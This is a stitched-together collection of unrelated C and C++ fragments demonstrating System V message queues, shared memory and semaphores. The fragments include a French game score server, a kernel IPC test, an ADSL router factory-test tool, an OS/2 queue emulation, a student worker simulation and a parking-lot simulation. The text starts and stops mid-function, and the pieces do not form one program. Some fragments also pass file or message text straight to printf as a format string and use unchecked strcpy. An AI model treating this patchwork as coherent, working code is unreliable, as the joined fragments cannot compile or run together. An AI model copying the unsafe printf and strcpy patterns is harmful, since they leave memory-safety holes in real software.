if ((f = fopen(NOM_FICHIER_TRACE,"w")) == NULL)
{
perror("Erreur de fopen()...");
exit(1);
}
hd = fileno(f);
if (dup2(hd,2) != 2)
{
perror("Erreur de dup2()...");
exit(1);
}
// Recuperation de la cle des IPC
cle = atoi(argv[1]);
Trace("Cle IPC = %d",cle);
fflush(stdout);
// Armement et masquage des signaux
sigfillset(&mask);
sigdelset(&mask,SIGINT);
sigprocmask(SIG_SETMASK,&mask,NULL);
sigAct.sa_handler = HandlerSIGINT;
sigAct.sa_flags = 0;
sigemptyset(&sigAct.sa_mask);
sigaction(SIGINT,&sigAct,NULL);
// Initialisation des mutex
pthread_mutex_init(&mutexConnections,NULL);
// Chargement du fichier des score;
Trace("Chargement Fichier Top Score");
if (LoadFichierTopScore(NOM_FICHIER_TOPSCORE,&TopScore) < 0)
{
perror("Erreur du chargement du fichier Top Score");
exit(1);
}
// Creation de la memoire partagee, attachement et initialisation
Trace("Creation et initialisation des IPC");
if ((idM = shmget(cle,sizeof(MEM),IPC_CREAT | IPC_EXCL | 0600)) == -1)
{
perror("Erreur de creation de memoire partagee");
exit(1);
}
if ((pShm = (MEM*)shmat(idM,0,0)) == (MEM *)-1)
{
perror("Erreur d'attachement a la memoire partagee");
if (shmctl(idM,IPC_RMID,0)) perror("Erreur de suppression de la memoire partagee");
exit(1);
}
pShm->nbJoueursConnectes = nbClients; // qui est egal a 0
memcpy(&(pShm->TopScore),&TopScore,sizeof(TOPSCORE));
// Creation de la file de message
if ((idQ = msgget(cle,IPC_CREAT | IPC_EXCL | 0600)) == -1)
{
perror("Erreur de creation de la file de messages");
if (shmctl(idM,IPC_RMID,0)) perror("Erreur de suppression de la memoire partagee");
exit(1);
}
// Lancement du threadKeepAlive
pthread_create(&threadKeepAlive,NULL,FctThreadKeepAlive,NULL);
Trace("En attente de requetes...");
while(1)
{
if(msgrcv(idQ,&Requete,sizeof(REQUETE)-sizeof(long),1,0)==-1)
SortieErreur("Erreur de msgrcv",1);
Reponse.ok = 0;
switch(Requete.requete)
{
case LOGIN : Trace("Connection Client : pid=%ld login=%s pseudo=%s",Requete.client,Requete.login,Requete.pseudo);
if (ajouteClient(Requete.client,Requete.login,Requete.pseudo) == 0) Reponse.ok = 1;
else Reponse.ok = 0;
break;
case SCORE : Trace("Reception Score : pid=%ld score=%d",Requete.client,Requete.score);
if (Requete.score > TopScore.score)
{
// Nouveau TopScore
pthread_mutex_lock(&mutexConnections);
if ((pC = estConnecte(Requete.client)) != NULL)
{
Trace("Nouveau Top Score : pid=%ld login=%s pseudo=%s score=%d",Requete.client,pC->login,pC->pseudo,Requete.score);
TopScore.score = Requete.score;
strcpy(TopScore.login,pC->login);
strcpy(TopScore.pseudo,pC->pseudo);
if(SaveFichierTopScore(NOM_FICHIER_TOPSCORE,&TopScore) < 0)
SortieErreur("Erreur de sauvegarde du fichier Top Score",1);
memcpy(&(pShm->TopScore),&TopScore,sizeof(TOPSCORE));
Reponse.topScoreBattu = 1;
}
pthread_mutex_unlock(&mutexConnections);
EnvoiSignal(SIGQUIT);
}
else Reponse.topScoreBattu = 0;
Reponse.ok = 1;
break;
case LOGOUT : Trace("Deconnection Client : pid=%ld",Requete.client);
fflush(stdout);
if (supprimeClient(Requete.client) == 0) Reponse.ok = 1;
else Reponse.ok = 0;
break;
default : break;
}
EnvoiSignal(SIGHUP);
Reponse.type = Requete.client;
if (msgsnd(idQ,&Reponse,sizeof(REPONSE)-sizeof(long),0) == -1)
SortieErreur("Erreur de msgsnd",1);
}
}
int main(int ac, char **av)
{
int lc;
const char *msg;
pid_t c_pid;
int status, e_code;
if ((msg = parse_opts(ac, av, NULL, NULL)) != NULL)
tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg);
#ifdef UCLINUX
#define PIPE_NAME "msgsnd06"
maybe_run_child(&do_child, "d", &msg_q_1);
#endif
setup(); /* global setup */
if (sync_pipe_create(sync_pipes, PIPE_NAME) == -1)
tst_brkm(TBROK, cleanup, "sync_pipe_create failed");
/* The following loop checks looping state if -i option given */
for (lc = 0; TEST_LOOPING(lc); lc++) {
/* reset tst_count in case we are looping */
tst_count = 0;
msgkey = getipckey();
/* create a message queue with read/write permission */
if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW))
== -1) {
tst_brkm(TBROK, cleanup, "Can't create message queue");
}
/* initialize the message buffer */
init_buf(&msg_buf, MSGTYPE, MSGSIZE);
/* write messages to the queue until it is full */
while (msgsnd(msg_q_1, &msg_buf, MSGSIZE, IPC_NOWAIT) != -1) {
msg_buf.mtype += 1;
}
/*
* fork a child that will attempt to write a message
* to the queue without IPC_NOWAIT
*/
if ((c_pid = FORK_OR_VFORK()) == -1) {
tst_brkm(TBROK, cleanup, "could not fork");
}
if (c_pid == 0) { /* child */
#ifdef UCLINUX
if (self_exec(av[0], "d", msg_q_1) < 0) {
tst_brkm(TBROK, cleanup, "could not self_exec");
}
#else
do_child();
#endif
} else { /* parent */
if (sync_pipe_wait(sync_pipes) == -1)
tst_brkm(TBROK, cleanup,
"sync_pipe_wait failed");
if (sync_pipe_close(sync_pipes, PIPE_NAME) == -1)
tst_brkm(TBROK, cleanup,
"sync_pipe_close failed");
/* After son has been created, give it a chance to execute the
* msgsnd command before we continue. Without this sleep, on SMP machine
* the father rm_queue could be executed before the son msgsnd.
*/
sleep(2);
/* remove the queue */
rm_queue(msg_q_1);
/* wait for the child to finish */
wait(&status);
/* make sure the child returned a good exit status */
e_code = status >> 8;
if (e_code != 0) {
tst_resm(TFAIL, "Failures reported above");
}
}
}
cleanup();
tst_exit();
}
void adsl_ate(int argc, char* argv[])
{
char buf[32];
msgbuf send_buf;
msgbuf receive_buf;
int infolen;
FILE* fp;
unsigned short* pWord;
int* pInt;
if (argc < 2) return;
if (strcmp(argv[1],"waitadsl") == 0)
{
int AdslReady = 0;
int WaitAdslCnt;
// ask auto_det to quit
nvram_set("dsltmp_adslatequit","1");
for (WaitAdslCnt = 0; WaitAdslCnt<60; WaitAdslCnt++)
{
strcpy(buf,nvram_safe_get("dsltmp_tcbootup"));
if (!strcmp(buf,"1"))
{
AdslReady = 1;
break;
}
#ifndef WIN32
usleep(1000*1000*1);
#endif
printf("%d\n",WaitAdslCnt);
}
if (AdslReady) printf("ADSL OK\n");
else printf("ADSL FAIL\n");
return;
}
// those old mechanism should be abandoned
#if 0
if (strcmp(argv[1],"makeretfile") == 0)
{
FILE* fpQuit;
fpQuit = fopen("/tmp/cmdret.txt","wb");
fputs("cmdret.txt",fpQuit);
fclose(fpQuit);
return;
}
if (strcmp(argv[1],"waitcmdret") == 0)
{
int RetReady = 0;
int WaitCnt;
for (WaitCnt = 0; WaitCnt<60; WaitCnt++)
{
FILE* fp;
fp = fopen("/tmp/cmdret.txt","rb");
if (fp != NULL)
{
RetReady = 1;
fclose(fp);
break;
}
#ifndef WIN32
usleep(1000*1000*1);
#endif
printf("%d\n",WaitCnt);
}
if (RetReady) printf("CMDRET OK\n");
else printf("CMDRET FAIL\n");
return;
}
if (strcmp(argv[1],"makeretfile2") == 0)
{
FILE* fpQuit;
fpQuit = fopen("/tmp/cmdret2.txt","wb");
fputs("cmdret2.txt",fpQuit);
fclose(fpQuit);
return;
}
if (strcmp(argv[1],"waitcmdret2") == 0)
{
int RetReady = 0;
int WaitCnt;
for (WaitCnt = 0; WaitCnt<60; WaitCnt++)
{
FILE* fp;
fp = fopen("/tmp/cmdret2.txt","rb");
if (fp != NULL)
{
RetReady = 1;
fclose(fp);
break;
}
#ifndef WIN32
usleep(1000*1000*1);
#endif
//printf("%d\n",WaitCnt);
}
if (RetReady) printf("CMDRET2 OK\n");
else printf("CMDRET2 FAIL\n");
return;
}
#endif
strcpy(buf,nvram_safe_get("dsltmp_tc_resp_to_d"));
m_msqid_to_d=atoi(buf);
#ifndef WIN32
if ((m_msqid_from_d=msgget(IPC_PRIVATE,0700))<0)
{
printf("msgget err\n");
return;
}
else
{
myprintf("msgget ok\n");
}
#endif
myprintf("MSQ_to_daemon : %d\n",m_msqid_to_d);
myprintf("MSQ_from_daemon : %d\n",m_msqid_from_d);
#ifndef WIN32
if(switch_init() < 0)
{
myprintf("err switch init\n");
goto delete_msgq_and_quit;
}
#endif
send_buf.mtype=IPC_CLIENT_MSG_Q_ID;
pInt = (int*)send_buf.mtext;
*pInt = m_msqid_from_d;
if(msgsnd(m_msqid_to_d,&send_buf,MAX_IPC_MSG_BUF,0)<0)
{
printf("msgsnd fail (IPC_CLIENT_MSG_Q_ID)\n");
goto delete_msgq_and_quit;
}
else
{
myprintf("msgsnd ok (IPC_CLIENT_MSG_Q_ID)\n");
}
send_buf.mtype=IPC_START_AUTO_DET;
strcpy(send_buf.mtext,"startdet");
if(msgsnd(m_msqid_to_d,&send_buf,MAX_IPC_MSG_BUF,0)<0)
{
printf("msgsnd fail (IPC_START_AUTO_DET)\n");
goto delete_msgq_and_quit;
}
else
{
myprintf("msgsnd ok (IPC_START_AUTO_DET)\n");
}
// wait daemon response
while (1)
{
if((infolen=msgrcv(m_msqid_from_d,&receive_buf,MAX_IPC_MSG_BUF,0,0))<0)
{
// WIN32: uninit warning is ok
if (errno == EINTR)
{
continue;
}
else
{
printf("msgrcv err %d\n",errno);
break;
}
}
else
{
break;
}
}
#ifndef WIN32
if (strcmp(argv[1],"bridgemode") == 0)
{
// tell driver that we want bridge mode
switch_bridge_mode();
// delete iptv interfaces
#if DSL_N55U == 1
system("ifconfig eth2.1.1 down");
system("ifconfig eth2.1.2 down");
system("ifconfig eth2.1.3 down");
system("ifconfig eth2.1.4 down");
system("ifconfig eth2.1.5 down");
system("ifconfig eth2.1.6 down");
system("ifconfig eth2.1.7 down");
system("ifconfig eth2.1.8 down");
// close wifi
system("ifconfig ra0 down");
system("ifconfig rai0 down");
// reset switch IC and link all port together
// 8 = change switich ic VLAN
// 100 = reset and enable adsl bridge
system("8367r 8 100");
#else
#error "new model"
#endif
system("brctl show");
goto delete_msgq_and_quit;
}
#endif
if (strcmp(argv[1],"show") == 0)
{
myprintf("IPC_ATE_ADSL_SHOW\n");
send_buf.mtype=IPC_ATE_ADSL_SHOW;
strcpy(send_buf.mtext,"ateshow");
myprintf("msg :%s\n",send_buf.mtext);
}
else if (strcmp(argv[1],"quitdrv") == 0)
{
myprintf("IPC_ATE_ADSL_QUIT_DRV\n");
send_buf.mtype=IPC_ATE_ADSL_QUIT_DRV;
strcpy(send_buf.mtext,"atequitdrv");
myprintf("msg :%s\n",send_buf.mtext);
}
else if (strcmp(argv[1],"disppvc") == 0)
{
myprintf("IPC_ATE_ADSL_DISP_PVC\n");
send_buf.mtype=IPC_ATE_ADSL_DISP_PVC;
strcpy(send_buf.mtext,"atedisppvc");
myprintf("msg :%s\n",send_buf.mtext);
}
else if (strcmp(argv[1],"link") == 0)
{
myprintf("IPC_LINK_STATE\n");
send_buf.mtype=IPC_LINK_STATE;
strcpy(send_buf.mtext,"linksts");
myprintf("msg :%s\n",send_buf.mtext);
}
else if (strcmp(argv[1],"addpvc") == 0)
{
int vpi,vci,encap,mode;
vpi = atoi(argv[2]);
vci = atoi(argv[3]);
encap = atoi(argv[4]);
mode = atoi(argv[5]);
myprintf("IPC_ADD_PVC\n");
send_buf.mtype=IPC_ADD_PVC;
pWord = (unsigned short*)send_buf.mtext;
*pWord++ = 0; // idx (0-7)
*pWord++ = 1; // always equal to idx+1
*pWord++ = vpi; // vpi
*pWord++ = vci; // vci
*pWord++ = encap; // encap
*pWord++ = mode; // mode
myprintf("msg :%s\n","addpvc");
}
else if (strcmp(argv[1],"delallpvc") == 0)
{
myprintf("IPC_DEL_ALL_PVC\n");
send_buf.mtype=IPC_DEL_ALL_PVC;
strcpy(send_buf.mtext,"delall");
myprintf("msg :%s\n",send_buf.mtext);
}
else if (strcmp(argv[1],"setadslmode") == 0)
{
int mode,type;
mode = atoi(argv[2]);
type = atoi(argv[3]);
myprintf("IPC_ATE_SET_ADSL_MODE\n");
send_buf.mtype=IPC_ATE_SET_ADSL_MODE;
pWord = (unsigned short*)send_buf.mtext;
*pWord++ = mode;
*pWord++ = type;
myprintf("msg :%s\n",send_buf.mtext);
}
else
{
printf("error input\n");
goto delete_msgq_and_quit;
}
if(msgsnd(m_msqid_to_d,&send_buf,MAX_IPC_MSG_BUF,0)<0)
{
printf("msgsnd fail\n");
goto delete_msgq_and_quit;
}
else
{
myprintf("msgsnd ok\n");
while (1)
{
if((infolen=msgrcv(m_msqid_from_d,&receive_buf,MAX_IPC_MSG_BUF,0,0))<0)
{
// WIN32: uninit warning is ok
if (errno == EINTR)
{
continue;
}
else
{
printf("msgrcv err %d\n",errno);
break;
}
}
else
{
//printf("%d",receive_buf.mtype);
if (IPC_ATE_ADSL_SHOW == receive_buf.mtype || IPC_ATE_ADSL_DISP_PVC == receive_buf.mtype)
{
FILE* fpLog;
char bufLog[256];
fpLog = fopen("/tmp/adsl/adslate.log","rb");
if (fpLog != NULL)
{
while(1)
{
char* ret;
ret = fgets(bufLog,sizeof(bufLog),fpLog);
// eof or something wrong
if (ret == NULL) break;
printf(bufLog);
//printf("%d\n",ret);
}
fclose(fpLog);
}
}
printf(receive_buf.mtext);
printf("\n");
break;
}
}
}
delete_msgq_and_quit:
#ifndef WIN32
switch_fini();
#endif
ate_delete_msg_q();
}
APIRET APIENTRY DosOpenQueue(PPID ppid, PHQUEUE phq, PCSZ pszName)
{
SAVEENV;
PSZ pszNewName;
key_t mykey = 0;
PMQ pmq;
/* allocate memory for the queue struct */
pmq = malloc(sizeof(MQ));
if (pmq == NULL) {
RESTOREENV_RETURN(ERROR_QUE_NO_MEMORY);
}
pmq->hev = NULLHANDLE;
/* named or unnamed queue? */
if (pszName == NULL) {
free(pmq);
RESTOREENV_RETURN(ERROR_QUE_PROC_NO_ACCESS);
}
/* this is a named queue */
pszNewName = alloca(strlen(pszName) + 1);
if (pszNewName == NULL) {
free(pmq);
RESTOREENV_RETURN(ERROR_QUE_NO_MEMORY);
}
strcpy(pszNewName, pszName);
DosNameConversion(pszNewName, "\\", ".", TRUE);
if (*pszNewName == '.') {
*pszNewName = '/';
}
/* get a key for the queue */
mykey = DosFtok(pszNewName);
if (mykey == -1) {
free(pmq);
RESTOREENV_RETURN(ERROR_INVALID_PARAMETER);
}
/* get the queue */
pmq->qid = msgget(mykey, S_IRWXU | S_IRWXG);
if (pmq->qid == -1) {
switch (errno) {
case ENOMEM:
case ENOSPC:
free(pmq);
RESTOREENV_RETURN(ERROR_QUE_NO_MEMORY);
case ENOENT:
free(pmq);
RESTOREENV_RETURN(ERROR_QUE_NAME_NOT_EXIST);
default:
free(pmq);
RESTOREENV_RETURN(ERROR_QUE_PROC_NO_ACCESS);
}
}
pmq->hev = NULLHANDLE;
pmq->creator = FALSE;
pmq->queueName[0] = '\0';
*phq = (HQUEUE)pmq;
*ppid = 0;
RESTOREENV_RETURN(NO_ERROR);
}
int main(int argc, char **argv) {
if(argc < MIN_ARGS || argc > MAX_ARGS) {
std::cout<<"Usage:\n./master nBuffers nWorkers "
<<"sleepMin sleepMax [random seed] [-lock or -nolock]"
<<std::endl;
return -1; //Too many or too few command line arguments
}
int nBuffers;
int nWorkers;
float sleepMin;
float sleepMax;
int randSeed;
bool lock = false;
int semID;
int thing1[2]; // pipe 1 file descriptor
int thing2[2]; // pipe 2 file descriptor
pid_t pid; //pid for forked sort process
float random; // random float value, Ahhh!
char buffer[80]; // buffer for write/read
/*******************Variable Initialization*******************/
nBuffers = atoi(argv[1]);
nWorkers = atoi(argv[2]);
sleepMin = atof(argv[3]);
sleepMax = atof(argv[4]);
float arr2[nWorkers]; // holder of rand ID's in sorted order
if(argc >= 5)
randSeed = atoi(argv[5]);
else
randSeed = -1;
if(argc == 7)
if(strcmp(argv[6],"-lock") == 0) {
lock = true;
//std::cout<<"\nLocked"<<std::endl;
}
else if(strcmp(argv[6],"-nolock") == 0) {
lock = false;
//std::cout<<"\nUnlocked"<<std::endl;
}
else {
lock = false;
//std::cout<<"\nDefault: Unlocked"<<std::endl;
}
/*******************Variable Initialization*******************/
if(nBuffers < 0 || sleepMin < 0 || sleepMax < 0
|| sleepMin > sleepMax || nBuffers > 32
|| nWorkers > nBuffers) //Data check
return -1;
for(int i = 1; i < 10; i++) {
if((i > 1) && (i != nBuffers) && (nBuffers % i == 0))
return -1; //nBuffers is not a positive prime < 32
}
/********Sanity Check**********
std::cout<<"\nBuffers: "<<nBuffers<<std::endl;
std::cout<<"Workers: "<<nWorkers<<std::endl;
std::cout<<"SleepMin: "<<sleepMin<<std::endl;
std::cout<<"SleepMax: "<<sleepMax<<std::endl;
std::cout<<"Rand Seed: "<<randSeed<<std::endl;
std::cout<<"Locked: "<<lock<<std::endl;
*******************************/
//say hello
std::cout<<"\nShane Lopez, slopez23"
<<"\n\nIPC\n\nSimulating with "<<nBuffers<<" Buffers and "
<<nWorkers<<" Workers"<<std::endl;
if(lock)
std::cout<<"\n<Semaphores Engaged>"<<std::endl;
else
std::cout<<"\n<Semaphores Not Engaged>"<<std::endl;
std::cout<<"-----------------------------------------------"<<std::endl;
if(pipe(thing1) < 0 || pipe(thing2) < 0) { // Create Pipes
std::cerr << "Piping Error" << std::endl;
return -1;
}
if((pid = fork()) < 0) { // Fork
std::cerr << "Forking Error" << std::endl;
return -1;
}
else if(pid == 0) { // Child
close(thing1[WRITE]); // close unused pipe ends
close(thing2[READ]);
dup2(thing1[READ],READ); // dup2 appropriate ends
dup2(thing2[WRITE],WRITE);
execlp("sort","sort","-nr",NULL); // execute sort
}
else { // Parent
close(thing1[READ]); // close unused pipe ends
close(thing2[WRITE]);
for(int j = 0; j < nWorkers; j++) {
random = randF(sleepMin,sleepMax,randSeed);
//std::cout<<"Random "<< j <<": "<<random<<std::endl;
if(j == 0)
sprintf(buffer,"%f\n",random);
else
sprintf((buffer+strlen(buffer)),"%f\n",random);
}//Fills Buffer
write(thing1[WRITE],buffer,strlen(buffer));
/*std::cout<<"\nRandom Floats: \n";//<<buffer<<std::endl;
for(int h = 0; h < strlen("Random Floats: "); h++)
std::cout<<"-"; // Fancy
std::cout<<std::endl; // Take it down a notch
std::cout<<buffer<<std::endl;*/
close(thing1[WRITE]); // Close pipe end after use
read(thing2[READ],buffer,strlen(buffer));
close(thing2[READ]); // Close pipe end after use
char *p;
p = strtok(buffer,"\n"); // tok'n on that str
//std::cout<<p<<std::endl; // debuggery
/*std::cout<<"\n{Sorted} Random Floats: \n";
for(int h = 0; h < strlen("{Sorted} Random Floats: "); h++)
std::cout<<"-"; // Fancy
std::cout<<std::endl;*/
for(int j = 0; j < nWorkers; j++) { //prints and fills array
arr2[j] = atof(p);
p = strtok(NULL,"\n");
//std::cout<</*std::setprecision(4)<<*/arr2[j]<<std::endl;
}
//std::cout<<"\n"<<std::endl;
}
/**************************Begin Msg Q*****************************/
int msgQID;
msg sendMsg;
msg recMsg;
if((msgQID = msgget(IPC_PRIVATE,IPC_CREAT | 0600)) <= 0) {//Create msg Q
perror("msgget");
exit(-1);
}
/**************************Fork Exec*******************************/
pid_t IDs[nWorkers];
struct rusage sys_res;
//struct msqid_ds MSG;
//struct shmid_ds SHM;
int shmID;
shmID = shmget(IPC_PRIVATE,sizeof(int)*nBuffers,0600 | IPC_CREAT);
int *shm_ptr = (int*)shmat(shmID,NULL,0);
//create shm
for(int p = 0; p < nBuffers; p++) {
shm_ptr[p] = 0;
}
shmdt(shm_ptr);
if(lock) {//create semaphores
semID = semget(IPC_PRIVATE,nBuffers,IPC_CREAT|0600);
if(semID < 0) {
perror("semget");
exit(-1);
}
union semun s_val;
s_val.val = 1;
for(int t = 0; t < nBuffers; t++) {
if(semctl(semID,t,SETVAL,s_val) < 0) {
perror("semctl");
exit(-1);
}
}
}
//generate pids for each worker
for(int i = 0; i < nWorkers; i++) {
pid_t pid = fork();
IDs[i] = pid;
if(pid < 0) {
perror("fork");
exit(-1);
}
else if(pid == 0) { // execute worker
char a[10];
char b[10];
char c[10];
char d[10];
char e[10];
//pass arguments as char buffers
sprintf(a,"%d\n",(i+1));
sprintf(b,"%d\n",nBuffers);
sprintf(c,"%f\n",(arr2[i]));
sprintf(d,"%d\n",msgQID);
sprintf(e,"%d\n",shmID);
if(lock) {
char f[10];
sprintf(f,"%d\n",semID);
execlp("./worker","worker",a,b,c,d,e,f,NULL);
}
else
execlp("./worker","worker",a,b,c,d,e,NULL);
}
}
//implicitly in parent
int children = nWorkers;
int r_err = 0;
int w_err = 0;
int g = 0;
int SZ = (sizeof(struct msg) - sizeof(long int));
msg* recm = (msg*)malloc(sizeof(msg));
////////////////////
while(children > 0) {
if(msgrcv(msgQID,recm,30,-4,0) < 0) {//catch messages from Q
perror("msgrcv");
if(lock)
if(semctl(semID,0,IPC_RMID)) {
perror("semctl");
exit(-1);
}
if(shmctl(shmID,IPC_RMID,0) < 0) {
perror("shmctl");
exit(-1);
}
exit(-1);
}
//std::cout<<recm->id<<std::endl;
switch(recm->type) { //detect message type and act
/*case 4: std::cout<<"\n[Master]--Worker "<<recm->id
<<" reported Write error in buffer "
<<recm->bufC<<"- before sleep: "
<<recm->before<<" after sleep: "
<<recm->after<<std::endl;
//w_err++;
break;*/
case 3: std::cout<<"\n[Master]--{Worker "<<recm->id
<<"} reported Read error in buffer "
<<recm->bufC<<"- before sleep: "
<<recm->before<<" after sleep: "
<<recm->after<<std::endl;
r_err++;
//wait4(IDs[((recm->id)-1)],NULL,0,&sys_res);
break;
case 2: std::cout<<"\n[Master]--{Worker "<<recm->id
<<"} says bye!"<<std::endl;
wait4(IDs[((recm->id)-1)],NULL,0,&sys_res);
children--;
break;
case 1: std::cout<<"\n[Master]--{Worker "<<recm->id
<<"} says hello!"<<std::endl;
std::cout<<"Sleep time for worker "<<recm->id
<<": "<<recm->stime<<std::endl;
break;
default: std::cout<<"\n[Master]--<Unspecified msg type>"
<<std::endl;
break;
}
}
std::cout<<"\n"<<std::endl;
shm_ptr = (int*)shmat(shmID,NULL,0);
int desired = (int)(pow(2,nWorkers)-1);
//int w_err = 0;
//report buffer contents
std::cout<<"\n[Master]--<Reporting Buffer Contents>\n"<<std::endl;
for(int p = 0; p < nBuffers; p++) {
if(p > 9)
std::cout<<"Buffer "<<p<<": "<<shm_ptr[p]<<std::endl;
else
std::cout<<"Buffer "<<p<<": "<<shm_ptr[p]<<std::endl;
if(shm_ptr[p] != desired)
w_err++;
}
std::cout<<std::endl;
int *badB = new int[w_err];
int counter = 0;
//save indices of bad buffers
for(int p = 0; p < nBuffers; p++) {
if(shm_ptr[p] != desired) {
badB[counter] = p;
counter++;
if(counter == w_err)
break;
}
}
int examine;
int sieve;
int b;
int *b_bits = new int[32];
int c = 0;
int f = 0;
int werr = 0;
for(int r = 0; r < 32; r++) {
b_bits[r] = -1;
}
//Report errors
for(int g = 0; g < w_err; g++) {
b = badB[g];
examine = shm_ptr[b];
/////////////////////////////////////////////////////
if((badB[g]) > 9)
std::cout<<"\tError in buffer "<<b<<": "<<examine<<" != "
<<desired<<std::endl;
else
std::cout<<"\tError in buffer "<<b<<": "<<examine<<" != "
<<desired<<std::endl;
/////////////////////////////////////////////////////
//Examine bits
sieve = (examine ^ desired);//sift the bad bits
for(int v = 0; v < 32; v++) {
if((sieve & (1 << v)) >= 1) {
b_bits[c] = v;
c++;
}
}
//w_err += c;
//werr+=c;
std::cout<<"\t\tBad Bits: ";
while(f < c) {
if(f < (c-1))
std::cout<<"bit "<<b_bits[f]<<", ";
else
std::cout<<"bit "<<b_bits[f]<<" ";
werr++;
f++;
}
std::cout<<"\n"<<std::endl;
}
std::cout<<"\n"<<r_err<<" Read Errors "<<werr
<<" Write Errors"<<std::endl;
shmdt(shm_ptr);
if(lock)//remove sems
if(semctl(semID,0,IPC_RMID)) {
perror("semctl");
exit(-1);
}
if(shmctl(shmID,IPC_RMID,0) < 0) {//remove shared memory
perror("shmctl");
exit(-1);
}
if(msgctl(msgQID,IPC_RMID,0) < 0) { //close message Q
perror("msgctl");
exit(-1);
}
std::cout<<"-----------------------------------------------"<<std::endl;
exit(0);//all done!
}
int main(int argc,char* argv[])
{
int msgid, tailleMsg,nbVehicules=0;
tMessage req, rep, rep2;
char carte[20];
tailleMsg = sizeof(tMessage) - sizeof(long);
if (argc-1 != 0) {
fprintf(stderr,"Appel %s <desc MSG>",argv[0]);
exit(1);
};
if ((msgid = msgget(cle, 0)) == -1) // creation de l'identifiant
erreur("Pb msgget dans COMPTEUR");
while(1){
/* construction message req */
req.type = 4;
/* reception message rep */
msgrcv(msgid, &rep, tailleMsg, 1, 0); //reception badge
/* ... */
rep2.type=2;
rep2.numBadge=rep.numBadge;
/* traitement message */
if (rep.numBadge==1){
printf("*** Message received from BADGE1.\n");
sleep(3);
nbVehicules++;
printf("*** Sending ACK to BADGE1.\n");
sleep(3);
msgsnd(msgid, &rep2, tailleMsg, 0);
printf("Voiture %s entree.\n",rep.num);
}
else {
printf("*** Message received from BADGE2.\n");
sleep(3);
if (nbVehicules > 0){
nbVehicules--;
printf("Voiture %s sortie\n",rep.num);
}
if (nbVehicules == 0) {
printf("Aucune voiture dans le parking\n");
}
printf("*** Sending ACK to BADGE1.\n");
sleep(3);
msgsnd(msgid, &rep2, tailleMsg, 0);
}
req.nbV=nbVehicules;
/* envoi message req */
printf("*** Sending message to LCD.\n");
sleep(3);
msgsnd(msgid, &req, tailleMsg, 0);
sleep(10);
system("clear");
/* ... */
fflush(stdout);
}
exit(0);
}
void Initialisation ()
{
/** Création des clefs pour les IPC **/
key_t cleBalEntreeBPP = ftok(CHEMIN,1);
key_t cleBalEntreeBPA = ftok(CHEMIN,2);
key_t cleBalEntreeGB = ftok(CHEMIN,3);
key_t cleBalSortie = ftok(CHEMIN,4);
key_t cleMPNbPlace = ftok(CHEMIN,5);
key_t cleMPEtat = ftok(CHEMIN,6);
key_t cleMPRequete = ftok(CHEMIN,7);
key_t cleSem = ftok(CHEMIN,8);
/** Fin création des clefs pour les IPC **/
/** Création des BaL **/
if ((baLEntreeBPP = msgget(cleBalEntreeBPP, 0666|IPC_CREAT)) == -1)
{
#ifdef MAP
AFFICHER(MESSAGE,"Erreur pour l'entrée BPP (BAL)");
#endif
}
if ((baLEntreeBPA = msgget(cleBalEntreeBPA, 0666|IPC_CREAT)) == -1)
{
#ifdef MAP
AFFICHER(MESSAGE,"Erreur pour l'entrée BPA (BAL)");
#endif
}
if ((baLEntreeGB = msgget(cleBalEntreeGB, 0666|IPC_CREAT)) == -1)
{
#ifdef MAP
AFFICHER(MESSAGE,"Erreur pour l'entrée GB (BAL)");
#endif
}
if ((baLSortie = msgget(cleBalSortie, 0666|IPC_CREAT)) == -1)
{
#ifdef MAP
AFFICHER(MESSAGE,"Erreur pour l'entrée Sortie (BAL)");
#endif
}
/** Fin création des BaL **/
/** Création des MP **/
//Initialisation de la memoire partagee NbPlaceOccupees
mpNbPlace =
shmget(cleMPNbPlace,sizeof(NbPlaceOccupees), 0666|IPC_CREAT);
if ( mpNbPlace == -1)
{
#ifdef MAP
AFFICHER(MESSAGE,"Erreur pour MP nbPlace");
#endif
}
else
{
NbPlaceOccupees *nbo =
(NbPlaceOccupees *) shmat(mpNbPlace, NULL, 0);
nbo->nb = 0;
shmdt(nbo);
}
//Initialisation de la memoire partagee Etat
if ((mpEtat = shmget(cleMPEtat,sizeof(Etat), 0666|IPC_CREAT)) == -1)
{
#ifdef MAP
AFFICHER(MESSAGE,"Erreur pour MP Etat");
#endif
}
else
{
Etat *et = (Etat *) shmat(mpEtat, NULL, 0);
for(unsigned int i=0; i < NB_PLACES ; i++)
{
et->places[i] = {AUCUN, 0,0};
}
shmdt(et);
}
//Initialisation de la memoire partagee Requete
mpRequete = shmget(cleMPRequete,sizeof(Requete), 0666|IPC_CREAT);
if ( mpRequete == -1)
{
#ifdef MAP
AFFICHER(MESSAGE,"Erreur pour MP Requete");
#endif
}
else
{
Requete *req = (Requete *) shmat(mpRequete, NULL, 0);
for(unsigned int i=0; i < NB_BARRIERES_ENTREE; i++)
{
req->requetes[i] = {AUCUN, 0,0};
}
shmdt(req);
}
/** Fin création des MP **/
/** Création des sémaphores **/
if ((semGene = semget(cleSem,NB_SEM,0666|IPC_CREAT)) == -1)
{
#ifdef MAP
AFFICHER(MESSAGE,"Erreur de création de sémaphore");
#endif
}
else
{
semctl(semGene,SynchroPorteBPPROF,SETVAL,0);
semctl(semGene,SynchroPorteBPAUTRE,SETVAL,0);
semctl(semGene,SynchroPorteGB,SETVAL,0);
semctl(semGene,MutexMPNbPlaces,SETVAL,1);
semctl(semGene,MutexMPEtat,SETVAL,1);
semctl(semGene,MutexMPRequetes,SETVAL,1);
}
/** Fin création des sémaphores **/
heure = ActiverHeure();
if ((clavier = fork()) == 0)
{
SimulationClavier( baLSortie,
baLEntreeBPP,
baLEntreeBPA,
baLEntreeGB);
}
else if ((entreeBPP = fork()) == 0)
{
PorteEntree( baLEntreeBPP,
semGene,
mpNbPlace,
mpEtat,
mpRequete,
PROF_BLAISE_PASCAL);
}
else if ((entreeBPA = fork()) == 0)
{
PorteEntree( baLEntreeBPA,
semGene,
mpNbPlace,
mpEtat,
mpRequete,
AUTRE_BLAISE_PASCAL);
}
else if ((entreeGB = fork()) == 0)
{
PorteEntree( baLEntreeGB ,
semGene,
mpNbPlace,
mpEtat,
mpRequete,
ENTREE_GASTON_BERGER);
}
else if ((sortie = fork()) == 0)
{
PorteSortie(mpNbPlace, mpEtat, mpRequete, baLSortie, semGene);
}
}
rlMailbox::rlMailbox(const char *mbxname)
{
#ifdef RLUNIX
FILE *fp;
key_t key;
status = OK;
buffer = NULL;
buffer_size = 0;
name = new char[strlen(mbxname)+1];
strcpy(name,mbxname);
// create file
